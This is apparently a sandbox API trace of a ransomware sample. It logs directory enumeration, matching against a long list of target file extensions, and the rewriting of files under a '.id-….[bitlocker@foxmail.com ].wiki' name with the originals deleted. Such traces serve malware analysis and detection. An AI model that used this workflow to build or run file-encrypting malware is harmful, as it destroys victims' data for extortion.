[0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString=".doc") returned 4 [0181.561] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString=".docx") returned 5 [0181.561] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.561] lstrlenW (lpString=".pdf") returned 4 [0181.561] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString=".xls") returned 4 [0181.561] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.561] lstrlenW (lpString=".xlsx") returned 5 [0181.561] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.561] lstrlenW (lpString=".ppt") returned 4 [0181.561] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString=".zip") returned 4 [0181.561] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.561] lstrlenW (lpString=".rar") returned 4 [0181.561] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString=".bz2") returned 4 [0181.561] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.562] lstrlenW (lpString=".7z") returned 3 [0181.562] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.562] lstrlenW (lpString=".dbf") returned 4 [0181.562] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.562] lstrlenW (lpString=".1cd") returned 4 [0181.562] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.562] lstrlenW (lpString=".jpg") returned 4 [0181.562] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.562] lstrcmpiW (lpString1=".FSD", lpString2=".wiki") returned -1 [0181.562] lstrlenW (lpString="FSD-CNRY.FSD") returned 12 [0181.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.564] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=131072) returned 1 [0181.564] CloseHandle (hObject=0x158) returned 1 [0181.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd")) returned 0x2020 [0181.564] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.564] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.564] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.903] GetLastError () returned 0x0 [0181.903] ReadFile (in: hFile=0x158, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x20000, lpOverlapped=0x0) returned 1 [0181.907] WriteFile (in: hFile=0x2e0, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20010, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20010, lpOverlapped=0x0) returned 1 [0181.911] ReadFile (in: hFile=0x158, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.911] WriteFile (in: hFile=0x2e0, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xec, lpOverlapped=0x0) returned 1 [0181.911] SetEndOfFile (hFile=0x2e0) returned 1 [0181.911] CloseHandle (hObject=0x2e0) returned 1 [0181.911] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.911] SetEndOfFile (hFile=0x158) returned 1 [0181.913] CloseHandle (hObject=0x158) returned 1 [0181.913] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.913] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\fsd-cnry.fsd")) returned 1 [0181.913] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.913] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.913] lstrlenW (lpString=".doc") returned 4 [0181.913] lstrcmpiW (lpString1=".doc", lpString2=".FSD") returned -1 [0181.913] lstrlenW (lpString=".docx") returned 5 [0181.913] lstrcmpiW (lpString1=".docx", lpString2="Y.FSD") returned -1 [0181.913] lstrlenW (lpString=".pdf") returned 4 [0181.913] lstrcmpiW (lpString1=".pdf", lpString2=".FSD") returned 1 [0181.913] lstrlenW (lpString=".xls") returned 4 [0181.913] lstrcmpiW (lpString1=".xls", lpString2=".FSD") returned 1 [0181.913] lstrlenW (lpString=".xlsx") returned 5 [0181.913] lstrcmpiW (lpString1=".xlsx", lpString2="Y.FSD") returned -1 [0181.913] lstrlenW (lpString=".ppt") returned 4 [0181.913] lstrcmpiW (lpString1=".ppt", lpString2=".FSD") returned 1 [0181.913] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString=".zip") returned 4 [0181.914] lstrcmpiW (lpString1=".zip", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString=".rar") returned 4 [0181.914] lstrcmpiW (lpString1=".rar", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString=".bz2") returned 4 [0181.914] lstrcmpiW (lpString1=".bz2", lpString2=".FSD") returned -1 [0181.914] lstrlenW (lpString=".7z") returned 3 [0181.914] lstrcmpiW (lpString1=".7z", lpString2="FSD") returned -1 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString=".dbf") returned 4 [0181.914] lstrcmpiW (lpString1=".dbf", lpString2=".FSD") returned -1 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString=".1cd") returned 4 [0181.914] lstrcmpiW (lpString1=".1cd", lpString2=".FSD") returned -1 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString=".jpg") returned 4 [0181.914] lstrcmpiW (lpString1=".jpg", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.914] lstrlenW (lpString=".doc") returned 4 [0181.914] lstrcmpiW (lpString1=".doc", lpString2=".FSD") returned -1 [0181.914] lstrlenW (lpString=".docx") returned 5 [0181.914] lstrcmpiW (lpString1=".docx", lpString2="Y.FSD") returned -1 [0181.914] lstrlenW (lpString=".pdf") returned 4 [0181.914] lstrcmpiW (lpString1=".pdf", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString=".xls") returned 4 [0181.914] lstrcmpiW (lpString1=".xls", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString=".xlsx") returned 5 [0181.914] lstrcmpiW (lpString1=".xlsx", lpString2="Y.FSD") returned -1 [0181.914] lstrlenW (lpString=".ppt") returned 4 [0181.914] lstrcmpiW (lpString1=".ppt", lpString2=".FSD") returned 1 [0181.914] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.915] lstrlenW (lpString=".zip") returned 4 [0181.915] lstrcmpiW (lpString1=".zip", lpString2=".FSD") returned 1 [0181.915] lstrlenW (lpString=".rar") returned 4 [0181.915] lstrcmpiW (lpString1=".rar", lpString2=".FSD") returned 1 [0181.915] lstrlenW (lpString=".bz2") returned 4 [0181.915] lstrcmpiW (lpString1=".bz2", lpString2=".FSD") returned -1 [0181.915] lstrlenW (lpString=".7z") returned 3 [0181.915] lstrcmpiW (lpString1=".7z", lpString2="FSD") returned -1 [0181.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.915] lstrlenW (lpString=".dbf") returned 4 [0181.915] lstrcmpiW (lpString1=".dbf", lpString2=".FSD") returned -1 [0181.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.915] lstrlenW (lpString=".1cd") returned 4 [0181.915] lstrcmpiW (lpString1=".1cd", lpString2=".FSD") returned -1 [0181.915] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 94 [0181.915] lstrlenW (lpString=".jpg") returned 4 [0181.915] lstrcmpiW (lpString1=".jpg", lpString2=".FSD") returned 1 [0181.915] lstrlenW (lpString=".id-") returned 4 [0181.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681708 | out: hHeap=0x630000) returned 1 [0181.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae208 | out: hHeap=0x630000) returned 1 [0181.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bc04c8 | out: hHeap=0x630000) returned 1 [0181.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bd04d0 | out: hHeap=0x630000) returned 1 [0181.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4150020 | out: hHeap=0x630000) returned 1 [0181.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6816f0 | out: hHeap=0x630000) returned 1 [0181.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816f0 [0181.921] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816f0, Size=0x20) returned 0x3bf5d38 [0181.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816f0 [0181.921] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816f0, Size=0x20) returned 0x3bf61c0 [0181.921] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.995] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.995] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff58 | out: OldValue=0x379ff58*=0x1) returned 1 [0181.995] lstrlenW (lpString="kernel32.dll") returned 12 [0181.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf61c0 | out: hHeap=0x630000) returned 1 [0181.995] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5d38 | out: hHeap=0x630000) returned 1 Thread: id = 345 os_tid = 0x59c [0147.819] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3be04d8 [0147.819] lstrlenW (lpString="C:") returned 2 [0147.819] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38dfd00 | out: lpFindFileData=0x38dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6a2d40 [0147.819] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0147.819] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0147.819] lstrlenW (lpString="$Recycle.Bin") returned 12 [0147.819] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0147.819] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x4260048 [0147.820] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0147.820] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38dfa84 | out: lpFindFileData=0x38dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4270050 [0147.820] FindNextFileW (in: hFindFile=0x4270050, lpFindFileData=0x38dfa84 | out: lpFindFileData=0x38dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.820] FindNextFileW (in: hFindFile=0x4270050, lpFindFileData=0x38dfa84 | out: lpFindFileData=0x38dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0147.820] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0147.820] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0147.820] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0147.820] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0147.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x4271098 [0147.821] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0147.821] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x38df808 | out: lpFindFileData=0x38df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42810a0 [0147.823] FindNextFileW (in: hFindFile=0x42810a0, lpFindFileData=0x38df808 | out: lpFindFileData=0x38df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.823] FindNextFileW (in: hFindFile=0x42810a0, lpFindFileData=0x38df808 | out: lpFindFileData=0x38df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc97745a0, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.823] lstrlenW (lpString="desktop.ini") returned 11 [0147.823] lstrlenW (lpString=".1cd") returned 4 [0147.823] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0147.823] lstrlenW (lpString=".3ds") returned 4 [0147.823] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0147.823] lstrlenW (lpString=".3fr") returned 4 [0147.823] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0147.823] lstrlenW (lpString=".3g2") returned 4 [0147.824] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".3gp") returned 4 [0147.824] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".7z") returned 3 [0147.824] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0147.824] lstrlenW (lpString=".accda") returned 6 [0147.824] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".accdb") returned 6 [0147.824] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".accdc") returned 6 [0147.824] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".accde") returned 6 [0147.824] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".accdt") returned 6 [0147.824] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".accdw") returned 6 [0147.824] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0147.824] lstrlenW (lpString=".adb") returned 4 [0147.824] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".adp") returned 4 [0147.824] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai") returned 3 [0147.824] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0147.824] lstrlenW (lpString=".ai3") returned 4 [0147.824] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai4") returned 4 [0147.824] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai5") returned 4 [0147.824] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai6") returned 4 [0147.824] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai7") returned 4 [0147.824] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0147.824] lstrlenW (lpString=".ai8") returned 4 [0147.825] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".anim") returned 5 [0147.825] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0147.825] lstrlenW (lpString=".arw") returned 4 [0147.825] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".as") returned 3 [0147.825] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0147.825] lstrlenW (lpString=".asa") returned 4 [0147.825] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".asc") returned 4 [0147.825] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".ascx") returned 5 [0147.825] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0147.825] lstrlenW (lpString=".asm") returned 4 [0147.825] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".asmx") returned 5 [0147.825] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0147.825] lstrlenW (lpString=".asp") returned 4 [0147.825] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".aspx") returned 5 [0147.825] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0147.825] lstrlenW (lpString=".asr") returned 4 [0147.825] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".asx") returned 4 [0147.825] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".avi") returned 4 [0147.825] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".avs") returned 4 [0147.825] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".backup") returned 7 [0147.825] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0147.825] lstrlenW (lpString=".bak") returned 4 [0147.825] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0147.825] lstrlenW (lpString=".bay") returned 4 [0147.826] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".bd") returned 3 [0147.826] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0147.826] lstrlenW (lpString=".bin") returned 4 [0147.826] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".bmp") returned 4 [0147.826] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".bz2") returned 4 [0147.826] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".c") returned 2 [0147.826] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0147.826] lstrlenW (lpString=".cdr") returned 4 [0147.826] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".cer") returned 4 [0147.826] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".cf") returned 3 [0147.826] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0147.826] lstrlenW (lpString=".cfc") returned 4 [0147.826] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".cfm") returned 4 [0147.826] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".cfml") returned 5 [0147.826] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0147.826] lstrlenW (lpString=".cfu") returned 4 [0147.826] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".chm") returned 4 [0147.826] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".cin") returned 4 [0147.826] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".class") returned 6 [0147.826] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0147.826] lstrlenW (lpString=".clx") returned 4 [0147.826] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0147.826] lstrlenW (lpString=".config") returned 7 [0147.826] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0147.827] lstrlenW (lpString=".cpp") returned 4 [0147.827] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".cr2") returned 4 [0147.827] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".crt") returned 4 [0147.827] lstrcmpiW 